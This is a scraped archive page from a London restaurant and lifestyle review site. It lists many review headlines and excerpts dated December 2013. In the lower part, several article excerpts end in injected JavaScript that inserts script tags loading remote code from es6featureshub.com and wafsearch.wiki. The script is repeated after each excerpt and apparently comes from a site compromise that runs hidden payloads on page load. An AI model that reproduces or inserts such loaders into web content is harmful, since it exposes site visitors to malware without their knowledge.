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December 2013 Archive

Sushi Shop: The French show us how it should be done in their conveniently located Marylebone branch

Potent flavours collide at P.F Chang’s Asian Table, Covent Garden

Trader Vic’s: the original fusion restaurant that was ahead of its time

Shoryu: The King of Ramen extends into Covent Garden

40 Dean Street: serving the Soho community with classic homemade Italian dishes

A winning gold medal for the pop-up, Rio Boteco in Hackney

Divas and dining at TWID, Battersea

Sumptuous steaks to salivate over at Smith and Wollensky, Strand

Life’s a beach at the Montague on the Gardens hotel

Ye Olde Cheshire Cheese sign

Top 15 Oldest Pubs in London: Soak Up Some History

Exploring the varied flavours of Indian history at Grand Trunk Road, South Woodford

The Trading house: An imbibing institution for the most demanding of drinkers at St. Pauls

Gino D’Acampo My Restaurant: An Italian affair with Gino at Euston station

Party like there’s no tomorrow at The 90s Brunch

Night Tales: Keeping Hackney firmly hip and happening

Pavilion wines starts the foodie quarter revolution in Sloane Square

Long bar at the Sanderson, Fitzrovia: a designer bar for the fashionista crowd in London

Visit Bridget Jones’ local at The Globe Tavern, Borough Market

Variety is the spice of life at Roof East, Stratford

House of Godo: an authentic Italian takeaway experience

Working with local suppliers at Borough Market is the key to Arthur Hooper’s success

Panda by Otto Schade

Street Art in London: Top 27 Artists

The Prince Albert: Impressing diners and drinkers since 1866

Welcome to 24 hour London at VQ Bloomsbury

Salivate at the sight of Mussel Men’s seafood selections

Explore exclusive wines at 1901 Wine Lounge at Andaz London Liverpool Street

Avant-garde Indian cuisine in the futuristic looking Crossrail Place, Canary Wharf

The Pepper Tree: Is Thai food the best hangover cure around?

Gyoza Bar in Covent Garden: assured and speedy service ideal for theatre-goers

Manitoba Tigella Kitchen Bar: bringing an ancient Italian recipe back to life

Sarona – a modern restaurant breaking down Middle Eastern stereotypes

Plate restaurant at M By Montcalm: bringing classical greatness to tech-savvy Shoreditch

Mint Leaf: Championing fine dining for Indian cuisine lovers

Expect a classy gastropub experience at Drunch, Regents Park

You always get a hearty welcome at Yumi Izayaka on Shaftesbury Avenue

The Prince Alfred: A gastropub fit for royalty

Experience the Mediterranean at the Life Goddess, greek experimental divine

The Holy Birds in Spitalfields: A poultry restaurant fit for the President of the United States

Exotic flavours in abundance at Caraway Lounge, Romford

Fulfill your diva dreams at Lucky Voice Soho

Pho and Bun in Chinatown | Savor Authentic Vietnamese Flavors

Experience a taste of Vietnam at Pho and Bun in Chinatown

Serving deliciously different meat-free cuisine at Ethos, Fitzrovia

Deceptively simple Italian classics on offer at Osteria 60, Kensington

A gourmet menu awaits at Duke of Clarence, South Kensington

Smoke and Salt: the perfect partners in crime at this Islington pop-up

Enjoy the stripped back elegance of the tasting menu at Anglo, Farringdon

Enjoy the vintage glamour of The Alice House in Queen’s Park

A smorgasbord of meatilicious delights at Bodean’s BBQ Covent Garden

Get hook’d on new school fish and chips at Camden Town

Cocktails at Eaton Square

Eaton Square Restaurant and Cocktail Bar- Flavours of the Mediterranean in the heart of Belgravia

Eneko’s star is shining brightly at One Aldwych Hotel

Islingtonites rejoice at the wonderful all day menu at Fig & Olive

Seafood lovers rejoice at the poke bar, Black Roe in Mayfair

Pepper Tree Big Breakfast

Thai Food in London – Clapham Common

Fall in love with Japanese cuisine at Murakami, Covent Garden

Fine dining in a family friendly environment at Chriskitch Hoxton

Get the Carnevale di Venezia experience at Columbia restaurant at Docklands Riverside

Drake and Morgan delivers once again at The Refinery, Bankside

Accept no substitutes, when you can get the real deal at Mestizo, Euston

Pilates HQ: Improve Flexibility and Strength

Benihana Chelsea Restaurant - Indulge in Japanese cuisine

Immersive dining at its finest at Benihana, Chelsea

Wine and dine in atypical style at the Lyan Cellars pop-up

Rosa’s Thai Cafe Seven Dials in Covent Garden | Townfish

Hearty dishes on offer at Rosa’s Seven Dials, Covent Garden

Italian cuisine with soul at L’Anima, Liverpool Street

Oliver B

Top talent to watch out for in London for 2015

The Athenian: From a small street food venture to building an empire

Journey into the Amazon with Pisqu’s head chef, William Ortiz

A picture perfect dining experience at Sake no Hana, Mayfair

Prepare for an antipodean invasion at Ben’s Canteen, Battersea

Savour classic French dishes from Raymond Blanc at Brasserie Blanc Southbank

It is time for Bloody Marys and board games at the Natural Philosopher at Hackney

Liberty London: Beautiful British Fashion and Modern Design

Take a journey along the Silk Road with Samarkand in Fitzrovia

Bluebird: the iconic Chelsea venue is flying high again

Two Ruba: Cocktails that blossom at Tower Bridge

Be bowled over by the gregarious British hospitality and fine American cuisine at All Star Lanes Bayswater

Where else would Romeo’s Sugar Free Bakery be apart from trendy Upper Street, Islington

The Pagination, Canary Wharf: Cosy nights await at this slick, modern bar

Relive the nostalgia of old Hong Kong at Cha Chaan Teng in Holborn

Westminster Kitchen: Another success story from restauranter Ibrahim Dogus

No.29 Power Station West: The cool hangout of choice in the future at Battersea

It is all about the pizza, pies and cider at the Stable Whitechapel

Variety is the spice of life at Mister Lasagna in Soho

Team-bonding is the name of the game at Swingers, the City of London

Boris Bikes

Getting Around London: 7 Alternative Ways to Get Around Town

Patience is a virtue at the Savannah restaurant, Euston

Learn to cook like a Valencian at London Paella School

Tootoomoo Islington: a bottomless brunch offering with variety and vitality

Discover the whisky for you with 101 choices at the Gallery, West Hampstead

Drink life to the lees at the Alfred Tennyson

Rigo: Fine dining in a neighbourhood restaurant in Parsons Green

Small plates of Turkish delights at Oklava, Shoreditch

Chotte Matte – Putting sexy back into vegetarian dining

It’s party time at Belgo Holborn with mussels and Belgian beer

The Painted Heron: The best value Indian restaurant in Chelsea

Kurobuta Marble Arch delivers top-notch Japanese sharing plates in a bustling environment

35 New Cavendish: Get the luxury of a private member’s club without the exorbitant prices

Life is a cabaret at Circus, Covent Garden

A time for celebrations at London Shell Co, Paddington

A Sunday roast fit for royalty at the The Marquis Cornwallis, Bloomsbury

It’s a dim sum surprise at Fu Manchu, Clapham North

A gastronomic Chinese odyssey with Andrew Wong

Tibits Vegetarian Restaurant

Sumptuous Vegetarian Restaurant in London in Regents Street

Blades at Hush: Where steak, lobster and whiskies reign supreme

Simpson’s in the Strand: a powerhouse that has stood the test of time

Your detox regime starts right here at Maple and Fitz

It’s back to black at Pizzicotto, High Street Kensington

Medieval Banquet jester

Top Things To Do Along Thames Riverside

HIPCHIPS: Are you trendy enough for these delectable crisps in Soho?

Santa Maria Fitzrovia delivers authentic Neapolitan pizza to the London cognoscenti

Old school charms on offer at Gatti’s Italian restaurant in Moorgate

The Victor Garvey empire grows from strength to strength with their latest addition, Rambla

Trinity Arms: A traditional local pub you can rely on for Brixtonians

Ichiryu is the Ichiban choice for udon lovers in London

Speed and substance on offer at Forge, Bank

It’s time for a steak out at Smithfield Market

The Refinery CityPoint: Where customer service is king

Lazeez Lebanese Tapas: Bringing downtown Beirut to the heart of the West End

Absolutely Starving in London Bridge – Serving locals and tourists alike for more than 30 years

Bet on a surefire winner at The Fellow of King’s Cross

Pan-Asian food lovers still flocking to the plush Buddha Bar in Knightsbridge

It’s a neontastic wonderland at God’s Own Junkyard, Walthamstow

Golden Dragon at Bang Bang Oriental sets the standard for high-quality Cantonese cuisine

Donostia Social Club brings restaurant quality food to The King & Co in Clapham

Appearances can be deceiving at Aquum, Clapham

Titu, Mayfair: Is this the smallest restaurant in London?

A delectably different dining & drinking experience at Dans Le Noir

Eco, a Clapham institution that has been serving classic Italian dishes for over 20 years

The unstoppable gin revival continues courtesy of Graphic bar

A social dining experience at Popdown by Cuisson, Borough Market

Wünderlust at the Big Red: You insatiable appetite will be satisfied by this double-decker

Relish the charms of Clapham at No32 The Old Town

Sumptuous views and succulent steaks at Butlers Wharf Chop House

Trade Union, Wapping: the pioneering model for new businesses

Enjoy a refined Thai culinary experience at Patara, Hampstead

Celebrate the culinary delights of the Mediterranean and South America at Monmouth Kitchen in Covent Garden

Rooftop film Club: Enjoy cinematic classics on top of the Bussey Building, Peckham

Southern French comfort cooking at Sardine, Old Street

Experience magic and sparkle this Christmas at Nordic Yulefest

Hankies: Accessible, aromatic Indian cuisine from Anirudh Arora at The Montcalm, Marble Arch

Fantastic Handyman

Fantastic handyman: when you need a real man around the house

Come fly with me at Butchies, Shoreditch

Mary Ward Centre Adult Education College

5 Interesting Courses in London

It’s a classy culinary encounter at Galley, Islington

A synergistic success for Carluccio’s at Marriott Regents Park

Zuma: A restaurant that truly stands the test of time

Discover the real origins of the gourmet sandwich at Cafe Mish in Mayfair

Feast on the best of world food at Kerb, Camden

Blind Spot: Hitting the spot for imbibing enthusiast in a hidden speakeasy in Covent Garden

It is back to basics at Rök smokehouse, Shoreditch

It’s Chicken Vs Chicken at On the Dak, Covent Garden

Records in Phonica

London’s Best Record Shops

The Greek Larder: Food from the Godfather of Greek cuisine in London

Forget shaken or stirred, have your cocktail set on fire at The Alchemist

Main entrance of Boulestin

Boulestin Restaurant: French Dining in the Heart of Piccadilly

Dinner Time Story: Redefining the dining experience one pixel at a time

It’s more than a laundry for Hackney hipsters at Wringer and Mangle in London Fields

Live life to the fullest at High Timber, St Paul’s

Brace yourself for a visual feast at 100 Kensington at The Exhibitionist Hotel

There is no stopping the all-conquering Saiphin Moore at her latest restaurant, Rosa’s Thai Cafe in Victoria

Vapiano Tower Bridge - Italian casual dining restaurants in Europe

Pasta fans rejoice at the opening of Vapiano Tower Bridge

The trains on top of Village Underground

Best London Art Galleries

Amici Miei: a neighbourhood Italian restaurant we would all love to see on our high street

Is Cinnamon Bazaar the spice of life Covent Garden has been waiting for?

Back to basics with convivial pub vibes at The Lord Palmerston

Marquis of Wellington: London’s very first street food pub on the famous Bermondsey Beer Mile

Serenading singers and liquid libation abound at Archer Street, Soho

Judy Joo’s Jinjuu is a jubilant joy

Sail away into the sunset with a Thames dinner cruise with Citycruises

Revealing the secrets of the immersive theatrical experience Maman Le Mot

Balans Soho Society: A fitting tribute to the late Prady Balan

A wine pairing paradise awaits at Les 110 de Taillevent London

Parliament Hill

Vicino: the trattoria serving honest, unpretentious and genuine Italian cooking

Cielo Blanco: The modern face of Mexican Street food at Exmouth Market

Exercise your democratic rights at Zia Lucia, Holloway Road

Get the Caribbean vibe at Rum Kitchen, Brixton

Gaylord: over 50 years of excellence serving Indian cuisine in the West End

Ethical dining with wild foraged seasonal produce at Shanes on Canalside, Hackney Wick

The Elgin: An iconic institution revitalised in the heart of Ladbroke Grove

Historical grade-II listed gastronomic bar & restaurant London

Take a tour to the Tuscan countryside at Enoteca Pomaio, Brick Lane

You will be crazy to miss Junkyard golf in Brick Lane

Quality wine is the remedy to cure all ills

Discover a Little Bat out of heaven at Islington

El Pirata of Mayfair: they just don’t make restaurants like this anymore

Enjoy a carefree and alternative brunch at KuPP, Paddington Basin

French flair aplenty at The Balcon, London

Revisiting an old Chinese classic at Royal China Queensway

Chi Kitchen: Jack of all trades, master of all

A Thai masterclass delivered with panache at Food at 52

Winter warmers await at the industry leading, Royal China on Baker Street

Choice and variety are in abundance at Pasta Remoli, Finsbury Park

Soho Wala: Exotic Indian Street Food in the West End - Townfish

Time for a quick bite at Soho Wala in the West End –

Aviary: There is no holding back this Phoenix at Finsbury Square

It’s all about the gentrified Sunday roast lunches at The Commercial, Herne Hill

Get inspired to cook at The Avenue Cookery School in Wandsworth

Fashionable May Fair Kitchen has the exquisite choices to please the most demanding of diners

Catch the best sporting action at Frankie’s Sports Bar & Grill in Fulham

Le Garrick celebrates the Vive La France spirit with their revamped decor and menu

Inn the Park: An oasis of calm in the centre of town

Omar Allibhoy’s Tapas Revolution brings accessible Spanish cuisine to Shoreditch

Adam Handling: From Masterchef to The Frog

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thinking bob : Taking social events off-line and back into the real world

Minnow: One to watch in the giant Clapham pond

Resistance is futile at the London Wonderground, Southbank

Kanada-Ya: Battle of the ramen bars on Panton Street in the West End

Leman Street Tavern: Another quality-assured offering from the Geronimo Inns

The Victorian Bath House, Bishopsgate: A hidden gem in every way

Northbank, St Pauls: Bringing sustainability and seasonality to the fore

DSTRKT London: More than just a world-famous nightclub in the West End

Radio Days Fashion Shop

Radio Days: Strike Vintage Gold in Waterloo

Indigo restaurant: Where using the finest seasonal ingredients means more than advertising jargon

Escape the shopping madness of Knightsbridge at The Egerton House Hotel drawing room

Experience a Perfect Day at Sticks ‘n’ Sushi Victoria

Immerse yourself into the world of The Grift and The Town Hall Hotel

Tombo: Come to Soho’s first authentic Poké and Matcha Bar

Alexandrie: Fine dining Egyptian style in the heart of Kensington

Authenticity is the key at the Japanese restaurant Engawa in Piccadilly

Souk Medina: Bringing the magic of Marrakesh to Covent Garden

A culinary journey across the world at Brasserie Blanc, Southbank

Introducing the delights of Pugliese cuisine to the residents of Snaresbrook at Bombetta

Experience the circle of life at GONG at Shangri-La Hotel

Pasta is always the answer at Fat Tony’s, Marylebone

Primavera: A sparkling gem on a quiet stretch of New King’s Road

Romance is in the air at Le Garrick Covent Garden

The Localist, Farringdon: A neighbourhood restaurant fit for any community

Chocolate cupcakes from Primrose bakery

Best Bakeries in London to Indulge Your Sweet Tooth

Treat yourself to a Winemaker’s dinner at Ristorante Frescobaldi

A new culinary institution is born at Hatchetts, Mayfair

TPH of Chelsea: It’s a new direction for renowned chef Yogesh Datta

Designer surroundings and an informal brunch menu at No197 Chiswick Fire Station

Thai Silk in Waterloo: All the Thai classics you want and more

10 Ways to Spice Up your 2015 Valentine’s Day in London

Food for thought at Jenius Social, Islington

Escape the crowds of Oxford Street with a discreet dining experience at Hunter 486

City of London & Cripplegate Photographic Society

Smart casual dining delivered effortlessly at Town House at The Kensington

It is all about the ingredients at Sushi and Robata, High Street Kensington

The Alfred Tennyson: refined yet relaxed dining in upscale Belgravia

Comfort food that will melt your heart at The Phoenix

The Poke phenomenon is showing no signs of abating with the launch of Honi Poke in Soho

Ichiryu is the Ichiban choice for udon lovers in London

White is the colour this festive season at Southbank Centre’s Winter Festival

108 Brasserie: When you need good, simple and honest food

The Square Pig: a traditional English pub with a refreshed modern-day menu

The bar is raised high for fine dining Indian cuisine at Darbaar, Liverpool Street

The King of Ramen hits St James’s

Your hunt for the perfect bottomless Sunday roast should end at OXBO Bankside

Sharing the flavours of the Levantine at Ceru in South Kensington

Achingly hip pizzas from the Elliott Brothers at Pizza Pilgrims Soho

Live At Zedel: Cocktails, lights and action in the heart of Soho

Haché Shoreditch: Gourmet Burgers with Global Garnishes

Bottomless Pizza, Pimm’s and Prosecco and Ealing Park Tavern

Feel the East London vibe at Behind This Wall, Hackney

Frog exhibit in the Grant Museum of Zoology

Best Hidden Museums in London: Try these less known favourites

Brew Cafe Putney

Fire up the BBQ with some Antipodean-style dining in Putney’s Brew Cafe

A Japanese drinking den that is a cut above the rest at Kiri, Mayfair

LASSCO Bar & Dining: a quirky imbibe and dine experience in close proximity to Maltby Street

PAUL showing us L’Art de Vivre with their faultless afternoon tea offering

Opso: It’s no Greek tragedy on Paddington Street, Marylebone

A masterclass in perfection at Gaucho Hampstead

Mei Mei’s street cart delivers cool Chinese comfort food at The Prince, Wood Green

Pornstars, mood lighting and Dolly Parton. Welcome to Rocket Holborn.

Get your daily dose of Chicken from WingsEggs

Diciannove: Mixing business with pleasure Italian style at Blackfriars

Ma’Plucker: 3-way chicken that impresses the West End crowds

Dinner at the Twits: the most gloriously gruesome immersive dining experience you will ever experience

Arlo’s: Offering simplicity and substance for steak-lovers in Balham

Aerial Hoop Acrobat

Move back in time at The Medieval Banquet

Simple, decent and honest food at Brother Marcus, Balham

Enjoy the thrills and spills of live sporting action at Greenwood, Victoria

Altitude London View

Surf and Turf to London’s best panoramic views

28-50 Maddox Street: For those moments, when only Champagne will do for lunch

Redefining our perception of Caribbean cuisine at Cottons, Notting Hill

Ping Pong Restaurant in Southank | Enjoy Lazy Sumday Delight

Lazy Sumday will be your kind of Sunday at Ping Pong, Southbank

Tsunami – Delivering refined Japanese excellence to Clapham’s cognoscenti

Love is in the air at Island Grill, Lancaster London hotel

The Belrose: a gastropub to warm your cockles this winter in Belsize Park

Meat and Shake: Sublimed grilled meats and dreamy milkshakes for all Londoners

Tea House Theatre: Relaxing Tea with Tradditional Entertainment

Gluten-free diners rejoice at the tremendous options available at Niche, Islington

Burn off your calories and enjoy delectable delights at Bounce Shoreditch

Theatrics guaranteed at the fabulous Vaulty Towers, Waterloo

Galvin HOP: Redefining the pub experience at Liverpool Street

An oasis of calm at Muriel’s Kitchen in Soho

Burger Shack and Bar: Serving up popular British classics in Wimbledon Village

Italian dining at Bocconcino: Mayfair settings without the attitude

José Pizarro shines in the playground of the bankers at Broadgate Circle

St Luke’s kitchen at Library: A genuine hidden gem in the heart of theatreland

Zia Lucia: A new neighbourhood pizzeria for the upscale residents of Brook Green

Experience a taste of Spain at Camino Bankside

Finding a hangover cure at the Jam Tree Chelsea

It is time to savour One Canada Square’s bottomless after dark menu

Time to go back to the future at Kojawan

Surf n Turf with Jimmy’s Pop-up in Clapham via Tabl

Vegetarians and egg-lovers rejoice at Cafe Loren in Camden

Cha Cha Moon – Noodles to nourish your soul at Kingly Court, Carnaby Street

Experience Sunday brunches with a difference at Cinnamon Soho

Experience the exquisite taste of Peru at Señor Ceviche, Soho

Pilpel: a falafel and houmous specialist with fire in their spirits

Wine, dine and recline your seats at the luxury film club at Brasserie Max

Building a sense of community at Neighbourhood, Stratford

Flying the flag for British cuisine at The Well, Clerkenwell

Shake Shack: Shaking up the burger scene on New Oxford Street

Latino flair is alive and kicking at Asia de Cuba, Covent Garden

Lima Floral: A Peruvian gastronomic masterclass from Robert Ortiz

There are only winners at the Heliot Steak House in Leicester Square

Putting the hip into Hackney at La Terraza, Number 90 Bar & Kitchen

A Japanese omakase feast for all raw fish lovers at Kikuchi, Tottenham Court Road

The mischievously charming Encant will tantalise your taste buds

Pan-Asian delights await your visit at Nirvana Kitchen, Marylebone

Enjoy the Fabulous Adventures of 698B via Tabl

Traditionalist are well catered for at London Steakhouse Co. in the City

Transporting you to a winter wonderland at the Montague Ski Lodge

Live music sessions on top of the world at Sky Garden

Travel the world from the comfort of Foley’s dining room in Fitzrovia

Feel the spirit of summer with the imbibing masterclasses at Bourne and Hollingsworth Buildings

Sunday night blues never felt so wonderful at Oslo, Hackney

Thyme and Lemon: Delivering a taste of Madrid in the heart of Islington

Serving up Anglo-American winners at the Loft, Wimbledon

The Crown Tavern: Traditional British pubs still the choice for imbibers at Clerkenwell

Benito’s Hat: Riding the Mexican wave of success

Flavours of the Amalfi coast delivered to your plate at QP LDN, Mayfair

Shuang Shuang: High-concept hot-pot restaurant in the heart of Chinatown

A showcase of Finnish innovation at The Harcourt, Marylebone

Experience ultimate liberation at The Bunyadi

Celebrating femininity and fine dining at An Evening of Meat at The Vaults, Waterloo

Sozai Cookery School: Be a master chef of Japanese cuisine

Hearty options await at No 11 Pimlico Road, Victoria

Sushi in the City: your gateway into a private member’s paradise

No daylight robbery at Heist Bank, Paddington

Vive le Hambuges as long as they are made by Big Fernand

Hearty home comforts at Mustard, Shepherd’s Bush

Sixty One Kitchen Chefs

Relax, Enjoy and Unwind in Modern British Neighbourhood Restaurant Sixty One

Zia Lucia: The independent pizzeria that is going from strength to strength

Polo Bar: the 24/7 Great British cafe in Liverpool Street

Veneta in St James’s: Another jewel in the Salt Yard group empire

A mouthwatering Japanese menu for the discerning at Sakagura, Mayfair

Troia: an all-encompassing Mediterranean and Middle Eastern restaurant in Waterloo

Expect service fit for royalty at Lanes of London, Marble Arch

The very best of all-day dining in the heart of Camden at Atrium Kitchen

Six Storeys on Soho: Refined elegance from the first floor to the loft

Lancaster London’s ARTea Afternoon Tea: A masterpiece for all food lovers

Herman ze German, Fitzrovia: ja, das ist wunderbar!

Shining a spotlight on Chinese regional cuisine at Chinese Cricket Club, Blackfriars

Homemade tapas dishes expertly executed at Cigala, Bloomsbury

Boondocks: Taste one of the best American brunches on this side of the pond

Talli Joe: The standard-bearer for modern Indian cuisine

Flavour Garden: a healthy sanctuary for time-conscious city workers in Tower Hill

The flames of creativity are burning bright at Ember, Monument

A journey to discover the best of British at the Betjeman Arms

Dalloway Terrace: Refined afternoon tea to savour in the heart of Bloomsbury

Bucket Notting Hill: Seafood Delight with a Mediterranean Twist

Bucket: Enjoy seafood by the bucketful in Notting Hill

La Petite Provence at The Folly: A little gallic summer delight in the heart of the City

From Jamaica to Dalston, savour authentic jerk cuisine via Rudie’s

Fall in love with the breadbasket of Italy at Gotto Trattoria

Discover the art of grilling at Omnino Steakhouse in Aldgate

Pont St: Top female chefs like Sophie Michell needs your support

The Petite Corée: the little neighbourhood bistro with a big heart

The Piano Works: Sing us a song you’re the piano man

Enjoy a bouncy night out at Ballie Ballerson, Stoke Newington

It’s a jungle out at Backyard Cinema’s Lost World at Borough

Made of Dough: A new rising star on the London street food scene

Admire the steam punk beauty of Flora Indica in Earl’s Court

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More than just noodles at Sasuke Ramen, Southbank

Savouring the joys of Pure Indian Cooking in Fulham

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29 Dec 2013 | 1 Comment
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Magma Books - Quirky Bookshop In London

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27 Dec 2013 | 1 Comment
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West London Stables: White City, London

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23 Dec 2013 | 7 Comments
Chequers Beauty Salon massage

Chequers Beauty Salon

No shopping trip to London is complete without a visit to a beauty salon or spa, and for those living in the city, it is always crucial to make sure you keep ahead of the game. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

20 Dec 2013 | 1 Comment

New Year's Eve 2014 in London

New Year’s Eve in London is everyone’s favourite party night of the year. If you’re headed to the big smoke, you have a rich selection of events catering for every taste and interest at your fingertips. But how do you decide where to go? ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

18 Dec 2013 | 3 Comments

Christmas in London 2013: 3 Days Of Festivities

With all the planning that goes into Christmas throughout the entire month of December, it can be easy to neglect the three most important days: Christmas Eve, Christmas Day and Boxing Day. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

18 Dec 2013 | 0 Comments
Riverside in Hammersmith

Top Things To Do in Hammersmith

If you prefer green, open spaces and Michelin-starred restaurants to ‘trendy’ pop-ups and moustaches, everyone knows that West is best! ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

18 Dec 2013 | 3 Comments
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Blue Cow Yoga

In the past, yoga was a pastime set aside for the overtly spiritual or new age, but these days it is becoming much more widely accepted as an important component of health and wellbeing. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

16 Dec 2013 | 6 Comments
FIXR Mobile App

Fast-track Night Club Entry in London with FIXR

We’ve all been there. You’ve had a few drinks and it gets to closing time in the pub. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

16 Dec 2013 | 0 Comments
Bedroom Bar entrance

Bedroom Bar: Shoreditch

The name could appeal to a wide range of people straight away - two of our favourite places are the bedroom and the bar. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

13 Dec 2013 | 2 Comments
The Creature and Victor Frankenstein

National Theatre Live

Theatre is often seen as a raw form of entertainment; an undiluted delivery of a story or tale. For some it has a power and an impact that is filtered out by more modern forms of entertainment, whilst for others it is deemed to be high brow. The National Theatre Live acts as a bridge between these two mindsets; enabling theatre to be broadcast in film form - providing something more familiar and digestible to the masses. ;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head')[0].appendChild(script);

11 Dec 2013 | 0 Comments

Winter Countdown To Christmas Activities in London 2013

